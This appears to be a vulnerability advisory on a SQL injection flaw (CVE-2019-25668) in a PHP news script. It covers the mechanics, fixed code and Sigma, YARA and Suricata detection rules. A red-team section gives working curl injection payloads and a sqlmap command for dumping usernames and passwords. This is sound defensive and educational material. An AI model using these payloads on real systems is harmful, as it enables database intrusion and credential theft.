CVE-2019-25668
Executive Summary
CVE-2019-25668 is a critical unauthenticated SQL injection vulnerability in Phpscriptsmall News Website Script version 2.0.5. The flaw resides in the news ID parameter within the /index.php/show/news/ endpoint. An attacker can inject arbitrary SQL commands via a crafted GET request, leading to full database compromise, including extraction of user credentials, session data, and other sensitive information. The vulnerability requires no authentication and has a CVSS score of 8.2 (High). No official patch has been released, and the vendor's status remains unknown. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) - Exploitable remotely.
- Attack Complexity: Low (AC:L) - No special conditions required.
- Privileges Required: None (PR:N) - Unauthenticated.
- User Interaction: None (UI:N) - No user action needed.
- Scope: Unchanged (S:U) - Impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) - Full database read access.
- Integrity Impact: High (I:H) - Data can be modified or deleted.
- Availability Impact: High (A:H) - Potential for denial of service via destructive queries.
Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the news ID parameter of the index.php/show/news/ route. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.
Vulnerable Code Pattern (Conceptual PHP):
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id = $id";
$result = mysqli_query($conn, $query);
Exploitation Mechanics:
- The attacker sends a GET request to
index.php/show/news/with a maliciousidparameter. - The injected SQL breaks out of the intended query structure.
- Common techniques include:
- UNION-based injection:
id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -to extract data from other tables. - Error-based injection: Using
AND 1=1vsAND 1=2to infer database structure. - Boolean-based blind injection: Using
AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables LIMIT 1)='a'to enumerate data character by character. - Time-based blind injection: Using
AND SLEEP(5)to confirm injection points.
- UNION-based injection:
Database Impact:
- Extraction of user credentials (hashed passwords, usernames).
- Access to session tokens, leading to account takeover.
- Modification of news content or deletion of records.
- Potential for OS command execution if the database user has file write privileges (e.g.,
INTO OUTFILE).
Vulnerable vs. Patched Code
Since no official patch exists, the following demonstrates the vulnerable code and a secure alternative.
Vulnerable Code (Conceptual):
// index.php (simplified)
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id = $id";
$result = mysqli_query($conn, $query);
Patched Code (Secure Alternative):
// index.php (patched)
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM news WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
Key Differences:
- Input Validation: The patched code uses
intval()to ensure the input is an integer. - Parameterized Query: Uses prepared statements with bound parameters, preventing SQL injection entirely.
- Error Handling: Proper error handling should be added to avoid information leakage.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of Phpscriptsmall News Website Script 2.0.5 on a local server (e.g., XAMPP, LAMP).
- Ensure the database is populated with sample data.
Exploitation Steps:
Identify the vulnerable parameter:
curl "http://target/index.php/show/news/?id=1"Observe the response for a valid news article.
Confirm SQL injection:
curl "http://target/index.php/show/news/?id=1'"Look for a database error message (e.g.,
You have an error in your SQL syntax).Extract database version:
curl "http://target/index.php/show/news/?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -"Enumerate tables:
curl "http://target/index.php/show/news/?id=1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -"Dump user credentials:
curl "http://target/index.php/show/news/?id=1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4,5,6,7,8,9,10 FROM users-- -"
Automated Exploitation (sqlmap):
sqlmap -u "http://target/index.php/show/news/?id=1" --batch --dbs
Blue Team (Defensive)
Detection & Response:
- Monitor for anomalous GET requests to
/index.php/show/news/containing SQL keywords (UNION,SELECT,SLEEP,--). - Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
- Enable detailed logging of all database queries and web server access logs.
- Use intrusion detection systems (IDS) with signatures for SQL injection.
Honeypot Setup:
- Deploy a decoy instance of the vulnerable script to capture attacker behavior.
- Log all requests and analyze for injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/index.php/show/news/withidparameter containing SQL keywords. - Outbound database connections from the web server to unknown IPs (data exfiltration).
- Unusual HTTP response sizes or error messages containing database errors.
File System IOCs:
- Presence of web shells or suspicious files in the web root (e.g.,
cmd.php,shell.php). - Modified or deleted news database entries.
- New database users or privileges.
Log IOCs:
- Web server logs showing
id=1 UNION SELECT...patterns. - Database logs showing
SELECT * FROM information_schemaqueries. - Error logs containing SQL syntax errors.
Detection Engineering
YARA Rule
rule CVE_2019_25668_SQLi_NewsScript {
meta:
description = "Detects SQL injection attempts targeting CVE-2019-25668 in Phpscriptsmall News Website Script"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25668"
strings:
$sqli1 = "UNION SELECT" nocase
$sqli2 = "information_schema" nocase
$sqli3 = "SLEEP(" nocase
$sqli4 = "1=1" nocase
$sqli5 = "1=2" nocase
$sqli6 = "admin" nocase
$sqli7 = "password" nocase
$sqli8 = "users" nocase
$sqli9 = "id=" ascii
$sqli10 = "/show/news/" ascii
condition:
any of ($sqli*) and $sqli9 and $sqli10
}
Sigma Rule
title: SQL Injection Attempt Against Phpscriptsmall News Website Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2019-25668
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/index.php/show/news/'
- 'id='
cs-uri-query|contains|all:
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2019-25668 SQL Injection Attempt - Phpscriptsmall News Script";
flow:to_server,established;
content:"GET";
http_method;
content:"/index.php/show/news/";
http_uri;
content:"id=";
http_uri;
pcre:"/(UNION|SELECT|SLEEP|information_schema)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/index.php/show/news/via web server configuration. - Apply input validation: Cast the
idparameter to an integer usingintval()orfilter_var(). - Use parameterized queries: Rewrite all database interactions using prepared statements (PDO or MySQLi).
- Implement a WAF: Deploy ModSecurity with OWASP Core Rule Set to block SQL injection attempts.
Long-Term Fixes:
- Upgrade to a patched version if the vendor releases one (currently unknown).
- Conduct a full code audit of the application for similar vulnerabilities.
- Implement least privilege for the database user (e.g., restrict to SELECT only on necessary tables).
- Enable logging and monitoring for all database queries.
Workaround:
- If the script cannot be modified, use a reverse proxy to filter requests containing SQL keywords in the
idparameter.
Valters IT
{/* [Security Hash: DA2A88730C68F63695BCCBDD] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.